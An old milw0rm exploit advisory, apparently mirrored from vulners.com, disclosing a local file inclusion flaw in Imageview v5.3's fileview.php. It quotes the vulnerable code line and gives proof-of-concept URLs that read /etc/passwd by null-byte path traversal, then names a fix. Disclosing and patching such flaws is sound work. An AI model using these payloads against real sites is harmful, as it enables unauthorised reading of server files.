Imageview v5.3 (fileview.php) Local File Inclusion

2007-04-3000:00:00

vulners.com

                        &#92;#&#39;#/
                        &#40;-.-&#41;

--------------------oOO—(_)—OOo-------------------
| Imageview v5.3 (fileview.php) Local File Inclusion |
| (works only with magic_quotes_gpc = off) |

coded by DNX
[!] Discovered: DNX
[!] Vendor: www.blackdot.be/?inc=projects/imageview
[!] Detected: 21.04.2007
[!] Reported: 21.04.2007
[!] Remote: yes

[!] Background: Imageview is an image gallery script based on PHP

[!] Bug: $_GET['album'] in fileview.php line 4

     require&#40;&#39;albums/&#39;.$_GET[&#39;album&#39;].&#39;/data.dat&#39;&#41;;

[!] PoC:
- http://[site]/[path]/fileview.php?album=[file]%00
- http://[site]/[path]/fileview.php?album=…/…/…/…/…/…/etc/passwd%00

[!] Solution: Install Imageview 6 or magic_quotes_gpc = on

milw0rm.com [2007-04-29]

JSON

Imageview v5.3 &#40;fileview.php&#41; Local File Inclusion

milw0rm.com [2007-04-29]

Imageview v5.3 (fileview.php) Local File Inclusion